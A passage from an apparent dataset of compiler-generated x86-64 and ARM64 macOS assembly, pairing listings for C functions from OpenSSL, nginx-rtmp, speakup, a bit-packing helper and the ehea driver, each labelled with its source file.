ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _ED448_SIGSIZE,8,3 ; @ED448_SIGSIZE
.no_dead_strip _pkey_ecd_digestverify448
.subsections_via_symbols
| AnghaBench/freebsd/crypto/openssl/crypto/ec/extr_ecx_meth.c_pkey_ecd_digestverify448.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ngx_rtmp_exec_managed
_ngx_rtmp_exec_managed: ## @ngx_rtmp_exec_managed
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq (%rsi), %r9
testq %r9, %r9
je LBB0_6
## %bb.1:
movq %rdx, %r8
movq %rsi, %r15
movq %rdi, %r14
movq _NGX_LOG_DEBUG_RTMP@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq (%r14), %rax
movl (%rax), %esi
leaq L_.str(%rip), %rcx
xorl %edx, %edx
callq _ngx_log_debug2
cmpq $0, (%r15)
jle LBB0_6
## %bb.2:
movq 8(%r15), %rbx
xorl %r12d, %r12d
movq _NGX_OK@GOTPCREL(%rip), %r13
jmp LBB0_3
.p2align 4, 0x90
LBB0_5: ## in Loop: Header=BB0_3 Depth=1
incq %r12
addq $4, %rbx
cmpq (%r15), %r12
jge LBB0_6
LBB0_3: ## =>This Inner Loop Header: Depth=1
movl (%rbx), %esi
movq %r14, %rdi
callq _ngx_rtmp_exec_filter
cmpq (%r13), %rax
jne LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq %rbx, %rdi
callq _ngx_rtmp_exec_run
jmp LBB0_5
LBB0_6:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _NGX_LOG_DEBUG_RTMP,4,2 ## @NGX_LOG_DEBUG_RTMP
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "exec: %s %uz managed command(s)"
.comm _NGX_OK,8,3 ## @NGX_OK
.no_dead_strip _ngx_rtmp_exec_managed
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ngx_rtmp_exec_managed
_ngx_rtmp_exec_managed: ; @ngx_rtmp_exec_managed
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
ldr x5, [x1]
cbz x5, LBB0_6
; %bb.1:
mov x4, x2
mov x19, x1
mov x20, x0
Lloh0:
adrp x8, _NGX_LOG_DEBUG_RTMP@GOTPAGE
Lloh1:
ldr x8, [x8, _NGX_LOG_DEBUG_RTMP@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
ldr x8, [x20]
ldr w1, [x8]
Lloh3:
adrp x3, l_.str@PAGE
Lloh4:
add x3, x3, l_.str@PAGEOFF
mov w2, #0
bl _ngx_log_debug2
ldr x8, [x19]
cmp x8, #1
b.lt LBB0_6
; %bb.2:
mov x22, #0
ldr x21, [x19, #8]
Lloh5:
adrp x23, _NGX_OK@GOTPAGE
Lloh6:
ldr x23, [x23, _NGX_OK@GOTPAGEOFF]
b LBB0_4
LBB0_3: ; in Loop: Header=BB0_4 Depth=1
add x22, x22, #1
add x21, x21, #4
ldr x8, [x19]
cmp x22, x8
b.ge LBB0_6
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr w1, [x21]
mov x0, x20
bl _ngx_rtmp_exec_filter
ldr x8, [x23]
cmp x0, x8
b.ne LBB0_3
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
mov x0, x21
bl _ngx_rtmp_exec_run
b LBB0_3
LBB0_6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _NGX_LOG_DEBUG_RTMP,4,2 ; @NGX_LOG_DEBUG_RTMP
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "exec: %s %uz managed command(s)"
.comm _NGX_OK,8,3 ; @NGX_OK
.no_dead_strip _ngx_rtmp_exec_managed
.subsections_via_symbols
| AnghaBench/nginx-rtmp-module/extr_ngx_rtmp_exec_module.c_ngx_rtmp_exec_managed.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function say_from_to
_say_from_to: ## @say_from_to
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, -48(%rbp) ## 4-byte Spill
movq %rdx, %r14
movq %rsi, %r15
movq %rdi, %r12
movq _spk_punc_mask@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -44(%rbp) ## 4-byte Spill
movq _spk_attr@GOTPCREL(%rip), %rbx
movl (%rbx), %eax
movq _spk_old_attr@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
callq _get_attributes
movl %eax, (%rbx)
xorl %ebx, %ebx
leaq -52(%rbp), %r13
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpq %r14, %r15
jge LBB0_2
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq %r12, %rdi
movq %r15, %rsi
movq %r13, %rdx
callq _get_char
movq _buf@GOTPCREL(%rip), %rcx
movq (%rcx), %rdx
leaq -1(%rbx), %rcx
movb %al, (%rdx,%rbx)
addq $2, %r15
movslq (%r12), %rax
cmpq %rax, %rbx
movq %rcx, %rbx
jle LBB0_1
jmp LBB0_4
LBB0_2:
movq %rbx, %rcx
LBB0_4:
movq _buf@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _SPACE@GOTPCREL(%rip), %rdx
movzbl (%rdx), %edx
movl %ecx, %esi
movl %ecx, %r14d
sarl $31, %r14d
andl %ecx, %r14d
addq %rax, %rsi
decq %rsi
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
testl %ecx, %ecx
jle LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
decl %ecx
leaq -1(%rsi), %rdi
cmpb %dl, (%rsi)
movq %rdi, %rsi
je LBB0_5
## %bb.7:
incl %ecx
movl %ecx, %r14d
LBB0_8:
movslq %r14d, %rcx
movb %dl, (%rax,%rcx)
movq _buf@GOTPCREL(%rip), %rax
movq (%rax), %rax
leaq 1(%rcx), %rsi
movb $0, 1(%rax,%rcx)
testl %ecx, %ecx
js LBB0_9
## %bb.10:
cmpl $0, -48(%rbp) ## 4-byte Folded Reload
je LBB0_12
## %bb.11:
movq _spk_punc_info@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _spk_reading_punc@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl (%rax,%rcx,4), %eax
movq _spk_punc_mask@GOTPCREL(%rip), %rbx
movl %eax, (%rbx)
movq _buf@GOTPCREL(%rip), %rax
movq (%rax), %rdi
## kill: def $esi killed $esi killed $rsi
callq _spkup_write
movl -44(%rbp), %eax ## 4-byte Reload
movl %eax, (%rbx)
jmp LBB0_13
LBB0_9:
movl %esi, %r14d
jmp LBB0_13
LBB0_12:
movq _buf@GOTPCREL(%rip), %rax
movq (%rax), %rdi
## kill: def $esi killed $esi killed $rsi
callq _spkup_write
LBB0_13:
movl %r14d, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _spk_punc_mask,4,2 ## @spk_punc_mask
.comm _spk_attr,4,2 ## @spk_attr
.comm _spk_old_attr,4,2 ## @spk_old_attr
.comm _buf,8,3 ## @buf
.comm _SPACE,1,0 ## @SPACE
.comm _spk_punc_info,8,3 ## @spk_punc_info
.comm _spk_reading_punc,8,3 ## @spk_reading_punc
.no_dead_strip _say_from_to
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function say_from_to
_say_from_to: ; @say_from_to
.cfi_startproc
; %bb.0:
sub sp, sp, #96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x3
mov x20, x2
mov x21, x1
mov x22, x0
Lloh0:
adrp x23, _spk_punc_mask@GOTPAGE
Lloh1:
ldr x23, [x23, _spk_punc_mask@GOTPAGEOFF]
ldr w24, [x23]
Lloh2:
adrp x25, _spk_attr@GOTPAGE
Lloh3:
ldr x25, [x25, _spk_attr@GOTPAGEOFF]
ldr w8, [x25]
Lloh4:
adrp x9, _spk_old_attr@GOTPAGE
Lloh5:
ldr x9, [x9, _spk_old_attr@GOTPAGEOFF]
Lloh6:
str w8, [x9]
bl _get_attributes
mov x26, #0 ; =0x0
str w0, [x25]
Lloh7:
adrp x25, _buf@GOTPAGE
Lloh8:
ldr x25, [x25, _buf@GOTPAGEOFF]
LBB0_1: ; =>This Inner Loop Header: Depth=1
cmp x21, x20
b.ge LBB0_3
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
add x2, sp, #12
mov x0, x22
mov x1, x21
bl _get_char
ldr x9, [x25]
sub x8, x26, #1
strb w0, [x9, x26]
add x21, x21, #2
ldrsw x9, [x22]
cmp x26, x9
mov x26, x8
b.le LBB0_1
b LBB0_4
LBB0_3:
mov x8, x26
LBB0_4:
ldr x9, [x25]
Lloh9:
adrp x10, _SPACE@GOTPAGE
Lloh10:
ldr x10, [x10, _SPACE@GOTPAGEOFF]
ldrb w10, [x10]
and w20, w8, w8, asr #31
add x11, x9, w8, uxtw
sub x11, x11, #1
LBB0_5: ; =>This Inner Loop Header: Depth=1
subs w8, w8, #1
b.lt LBB0_8
; %bb.6: ; in Loop: Header=BB0_5 Depth=1
ldrb w12, [x11], #-1
cmp w12, w10
b.eq LBB0_5
; %bb.7:
add w20, w8, #1
LBB0_8:
sxtw x8, w20
strb w10, [x9, x8]
ldr x9, [x25]
add x1, x8, #1
strb wzr, [x9, x1]
tbnz w20, #31, LBB0_11
; %bb.9:
cbz w19, LBB0_12
; %bb.10:
Lloh11:
adrp x8, _spk_punc_info@GOTPAGE
Lloh12:
ldr x8, [x8, _spk_punc_info@GOTPAGEOFF]
Lloh13:
adrp x9, _spk_reading_punc@GOTPAGE
Lloh14:
ldr x9, [x9, _spk_reading_punc@GOTPAGEOFF]
Lloh15:
ldr x8, [x8]
Lloh16:
ldr x9, [x9]
ldr w8, [x8, x9, lsl #2]
str w8, [x23]
ldr x0, [x25]
; kill: def $w1 killed $w1 killed $x1
bl _spkup_write
str w24, [x23]
b LBB0_13
LBB0_11:
mov x20, x1
b LBB0_13
LBB0_12:
ldr x0, [x25]
; kill: def $w1 killed $w1 killed $x1
bl _spkup_write
LBB0_13:
mov x0, x20
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #96
ret
.loh AdrpLdrGot Lloh7, Lloh8
.loh AdrpLdrGotStr Lloh4, Lloh5, Lloh6
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh16
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh15
.cfi_endproc
; -- End function
.comm _spk_punc_mask,4,2 ; @spk_punc_mask
.comm _spk_attr,4,2 ; @spk_attr
.comm _spk_old_attr,4,2 ; @spk_old_attr
.comm _buf,8,3 ; @buf
.comm _SPACE,1,0 ; @SPACE
.comm _spk_punc_info,8,3 ; @spk_punc_info
.comm _spk_reading_punc,8,3 ; @spk_reading_punc
.no_dead_strip _say_from_to
.subsections_via_symbols
| assembly_file_144018.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function Buf14To16
_Buf14To16: ## @Buf14To16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, -88(%rbp) ## 8-byte Spill
testl %edx, %edx
jle LBB0_1
## %bb.2:
movslq %ecx, %rax
movl %edx, %edi
leaq (%rsi,%rax,4), %rcx
movq %rcx, -64(%rbp) ## 8-byte Spill
movl %r8d, %ecx
negl %ecx
movl %ecx, -44(%rbp) ## 4-byte Spill
shlq $2, %rax
subq %rax, %rsi
xorl %ebx, %ebx
xorl %r9d, %r9d
xorl %r14d, %r14d
xorl %r15d, %r15d
movl %r8d, -48(%rbp) ## 4-byte Spill
movq %rsi, -80(%rbp) ## 8-byte Spill
movq %rdi, -72(%rbp) ## 8-byte Spill
jmp LBB0_3
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_3 Depth=1
addl %r13d, %r14d
movzbl %r15b, %eax
movl %r13d, %ecx
shll %cl, %eax
orb %al, %r12b
incq %rbx
movl %r12d, %r15d
cmpq %rbx, %rdi
je LBB0_11
LBB0_3: ## =>This Inner Loop Header: Depth=1
testb $1, %bl
jne LBB0_4
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movq -64(%rbp), %rax ## 8-byte Reload
movzbl (%rax,%rbx,4), %r12d
andb $63, %r12b
movl $6, %r13d
cmpl $7, %r14d
jle LBB0_7
jmp LBB0_8
.p2align 4, 0x90
LBB0_4: ## in Loop: Header=BB0_3 Depth=1
movzbl (%rsi,%rbx,4), %r12d
movl $8, %r13d
cmpl $7, %r14d
jg LBB0_8
LBB0_7: ## in Loop: Header=BB0_3 Depth=1
movl $8, %edi
subl %r14d, %edi
movl %r13d, %esi
movl %r9d, -52(%rbp) ## 4-byte Spill
callq ___MIN
movl -52(%rbp), %r9d ## 4-byte Reload
movl -48(%rbp), %r8d ## 4-byte Reload
movzbl %r15b, %esi
movl %eax, %ecx
shll %cl, %esi
movzbl %r12b, %edi
movl %eax, %edx
subl %r13d, %edx
subl %eax, %r13d
movl %edi, %r15d
movl %r13d, %ecx
shrl %cl, %r15d
addb $8, %dl
movl %edx, %ecx
shll %cl, %edi
orl %esi, %r15d
movq -80(%rbp), %rsi ## 8-byte Reload
movzbl %dil, %r12d
movq -72(%rbp), %rdi ## 8-byte Reload
shrl %cl, %r12d
addl %eax, %r14d
LBB0_8: ## in Loop: Header=BB0_3 Depth=1
cmpl $8, %r14d
jne LBB0_10
## %bb.9: ## in Loop: Header=BB0_3 Depth=1
testb $1, %r9b
movzbl %r15b, %eax
movl -44(%rbp), %ecx ## 4-byte Reload
cmovel %r8d, %ecx
addl %r9d, %ecx
movslq %ecx, %rcx
movq -88(%rbp), %rdx ## 8-byte Reload
movl %eax, (%rdx,%rcx,4)
incl %r9d
xorl %r15d, %r15d
xorl %r14d, %r14d
jmp LBB0_10
LBB0_1:
xorl %r9d, %r9d
LBB0_11:
movl %r9d, %eax
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _Buf14To16
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function Buf14To16
_Buf14To16: ; @Buf14To16
.cfi_startproc
; %bb.0:
sub sp, sp, #112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
; kill: def $w3 killed $w3 def $x3
str x0, [sp, #8] ; 8-byte Folded Spill
cmp w2, #1
b.lt LBB0_9
; %bb.1:
mov x19, x4
mov x23, #0 ; =0x0
mov w21, #0 ; =0x0
mov w24, #0 ; =0x0
mov w20, #0 ; =0x0
sbfiz x8, x3, #2, #32
add x9, x1, x8
str x9, [sp] ; 8-byte Folded Spill
neg w26, w4
sub x27, x1, x8
mov w28, w2
b LBB0_3
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
add w24, w24, w22
lsl w8, w20, w22
and w8, w8, #0xff
orr w20, w25, w8
add x23, x23, #1
cmp x28, x23
b.eq LBB0_10
LBB0_3: ; =>This Inner Loop Header: Depth=1
tbnz w23, #0, LBB0_5
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp] ; 8-byte Folded Reload
ldr w8, [x8, x23, lsl #2]
and w25, w8, #0x3f
mov w22, #6 ; =0x6
cmp w24, #7
b.le LBB0_6
b LBB0_7
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
lsl x8, x23, #2
ldrb w25, [x27, x8]
mov w22, #8 ; =0x8
cmp w24, #7
b.gt LBB0_7
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
mov w8, #8 ; =0x8
sub w0, w8, w24
mov x1, x22
bl ___MIN
lsl w8, w20, w0
sub w9, w0, w22
sub w22, w22, w0
lsr w10, w25, w22
orr w8, w10, w8
and w20, w8, #0xff
add w8, w9, #8
lsl w9, w25, w8
and w9, w9, #0xff
lsr w25, w9, w8
add w24, w0, w24
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
cmp w24, #8
b.ne LBB0_2
; %bb.8: ; in Loop: Header=BB0_3 Depth=1
mov w24, #0 ; =0x0
tst w21, #0x1
csel w8, w19, w26, eq
add w8, w21, w8
ldr x9, [sp, #8] ; 8-byte Folded Reload
str w20, [x9, w8, sxtw #2]
add w21, w21, #1
mov w20, #0 ; =0x0
b LBB0_2
LBB0_9:
mov w21, #0 ; =0x0
LBB0_10:
mov x0, x21
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.no_dead_strip _Buf14To16
.subsections_via_symbols
| assembly_file_77905.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ehea_reg_mr_section
_ehea_reg_mr_section: ## @ehea_reg_mr_section
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r9, -56(%rbp) ## 8-byte Spill
movq %r8, -48(%rbp) ## 8-byte Spill
movq %rcx, %r13
movl %edx, %r15d
movl %esi, %ebx
movl %edi, %r14d
movq %rcx, %rdi
callq ___pa
movq %rax, -64(%rbp) ## 8-byte Spill
movl %r14d, %edi
movl %ebx, %esi
movl %r15d, %edx
callq _ehea_calc_sectbase
movq %rax, %rbx
movq _EHEA_PAGES_PER_SECTION@GOTPCREL(%rip), %rax
movq _EHEA_MAX_RPAGE@GOTPCREL(%rip), %r15
movq (%r15), %rcx
## implicit-def: $rsi
cmpq (%rax), %rcx
ja LBB0_14
## %bb.1:
xorl %r12d, %r12d
movq _EHEA_PAGESIZE@GOTPCREL(%rip), %rax
xorl %r14d, %r14d
jmp LBB0_6
.p2align 4, 0x90
LBB0_2: ## in Loop: Header=BB0_6 Depth=1
incq %r12
movq _EHEA_PAGES_PER_SECTION@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq (%r15), %rcx
movq %rax, %rdx
orq %rcx, %rdx
shrq $32, %rdx
je LBB0_3
## %bb.4: ## in Loop: Header=BB0_6 Depth=1
xorl %edx, %edx
divq %rcx
LBB0_5: ## in Loop: Header=BB0_6 Depth=1
cmpq %rax, %r12
movq _EHEA_PAGESIZE@GOTPCREL(%rip), %rax
jae LBB0_14
LBB0_6: ## =>This Loop Header: Depth=1
## Child Loop BB0_9 Depth 2
testq %rcx, %rcx
je LBB0_7
## %bb.8: ## in Loop: Header=BB0_6 Depth=1
movq %r12, -72(%rbp) ## 8-byte Spill
movq %r15, %r12
xorl %r15d, %r15d
.p2align 4, 0x90
LBB0_9: ## Parent Loop BB0_6 Depth=1
## => This Inner Loop Header: Depth=2
leaq (%r14,%r15), %rdi
imulq (%rax), %rdi
addq %rbx, %rdi
callq ___pa
movq %rax, (%r13,%r15,8)
movq _EHEA_PAGESIZE@GOTPCREL(%rip), %rax
incq %r15
movq (%r12), %r9
cmpq %r9, %r15
jb LBB0_9
## %bb.10: ## in Loop: Header=BB0_6 Depth=1
addq %r15, %r14
movq %r12, %r15
movq -72(%rbp), %r12 ## 8-byte Reload
jmp LBB0_11
.p2align 4, 0x90
LBB0_7: ## in Loop: Header=BB0_6 Depth=1
xorl %r9d, %r9d
LBB0_11: ## in Loop: Header=BB0_6 Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
movq -56(%rbp), %rax ## 8-byte Reload
movl (%rax), %esi
xorl %edx, %edx
xorl %ecx, %ecx
movq -64(%rbp), %r8 ## 8-byte Reload
callq _ehea_h_register_rpage_mr
movq %rax, %rsi
movq _H_SUCCESS@GOTPCREL(%rip), %rax
cmpq (%rax), %rsi
je LBB0_2
## %bb.12: ## in Loop: Header=BB0_6 Depth=1
movq _H_PAGE_REGISTERED@GOTPCREL(%rip), %rax
cmpq (%rax), %rsi
je LBB0_2
jmp LBB0_13
.p2align 4, 0x90
LBB0_3: ## in Loop: Header=BB0_6 Depth=1
## kill: def $eax killed $eax killed $rax
xorl %edx, %edx
divl %ecx
## kill: def $eax killed $eax def $rax
jmp LBB0_5
LBB0_13:
movq -48(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
movq -56(%rbp), %rax ## 8-byte Reload
movq %rsi, %rbx
movl (%rax), %esi
movq _FORCE_FREE@GOTPCREL(%rip), %rax
movl (%rax), %edx
callq _ehea_h_free_resource
leaq L_.str(%rip), %rdi
callq _pr_err
movq %rbx, %rsi
LBB0_14:
movq %rsi, %rax
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _EHEA_PAGES_PER_SECTION,8,3 ## @EHEA_PAGES_PER_SECTION
.comm _EHEA_MAX_RPAGE,8,3 ## @EHEA_MAX_RPAGE
.comm _EHEA_PAGESIZE,8,3 ## @EHEA_PAGESIZE
.comm _H_SUCCESS,8,3 ## @H_SUCCESS
.comm _H_PAGE_REGISTERED,8,3 ## @H_PAGE_REGISTERED
.comm _FORCE_FREE,4,2 ## @FORCE_FREE
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "register_rpage_mr failed\n"
.no_dead_strip _ehea_reg_mr_section
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ehea_reg_mr_section
_ehea_reg_mr_section: ; @ehea_reg_mr_section
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x5
mov x20, x4
mov x21, x3
mov x23, x2
mov x24, x1
mov x25, x0
mov x0, x3
bl ___pa
mov x22, x0
mov x0, x25
mov x1, x24
mov x2, x23
bl _ehea_calc_sectbase
Lloh0:
adrp x8, _EHEA_PAGES_PER_SECTION@GOTPAGE
Lloh1:
ldr x8, [x8, _EHEA_PAGES_PER_SECTION@GOTPAGEOFF]
Lloh2:
ldr x9, [x8]
Lloh3:
adrp x26, _EHEA_MAX_RPAGE@GOTPAGE
Lloh4:
ldr x26, [x26, _EHEA_MAX_RPAGE@GOTPAGEOFF]
ldr x8, [x26]
; implicit-def: $x24
cmp x8, x9
b.hi LBB0_10
; %bb.1:
mov x23, x0
mov x27, #0
mov x28, #0
Lloh5:
adrp x25, _EHEA_PAGESIZE@GOTPAGE
Lloh6:
ldr x25, [x25, _EHEA_PAGESIZE@GOTPAGEOFF]
LBB0_2: ; =>This Loop Header: Depth=1
; Child Loop BB0_4 Depth 2
cbz x8, LBB0_6
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
mov x24, #0
LBB0_4: ; Parent Loop BB0_2 Depth=1
; => This Inner Loop Header: Depth=2
add x8, x28, x24
ldr x9, [x25]
madd x0, x9, x8, x23
bl ___pa
str x0, [x21, x24, lsl #3]
add x24, x24, #1
ldr x5, [x26]
cmp x24, x5
b.lo LBB0_4
; %bb.5: ; in Loop: Header=BB0_2 Depth=1
add x28, x28, x24
b LBB0_7
LBB0_6: ; in Loop: Header=BB0_2 Depth=1
mov x5, #0
LBB0_7: ; in Loop: Header=BB0_2 Depth=1
ldr w0, [x20]
ldr w1, [x19]
mov w2, #0
mov w3, #0
mov x4, x22
bl _ehea_h_register_rpage_mr
mov x24, x0
Lloh7:
adrp x8, _H_SUCCESS@GOTPAGE
Lloh8:
ldr x8, [x8, _H_SUCCESS@GOTPAGEOFF]
Lloh9:
ldr x8, [x8]
Lloh10:
adrp x9, _H_PAGE_REGISTERED@GOTPAGE
Lloh11:
ldr x9, [x9, _H_PAGE_REGISTERED@GOTPAGEOFF]
Lloh12:
ldr x9, [x9]
cmp x0, x8
ccmp x0, x9, #4, ne
b.ne LBB0_9
; %bb.8: ; in Loop: Header=BB0_2 Depth=1
add x27, x27, #1
Lloh13:
adrp x8, _EHEA_PAGES_PER_SECTION@GOTPAGE
Lloh14:
ldr x8, [x8, _EHEA_PAGES_PER_SECTION@GOTPAGEOFF]
Lloh15:
ldr x9, [x8]
ldr x8, [x26]
udiv x9, x9, x8
cmp x27, x9
b.lo LBB0_2
b LBB0_10
LBB0_9:
ldr w0, [x20]
ldr w1, [x19]
Lloh16:
adrp x8, _FORCE_FREE@GOTPAGE
Lloh17:
ldr x8, [x8, _FORCE_FREE@GOTPAGEOFF]
Lloh18:
ldr w2, [x8]
bl _ehea_h_free_resource
Lloh19:
adrp x0, l_.str@PAGE
Lloh20:
add x0, x0, l_.str@PAGEOFF
bl _pr_err
LBB0_10:
mov x0, x24
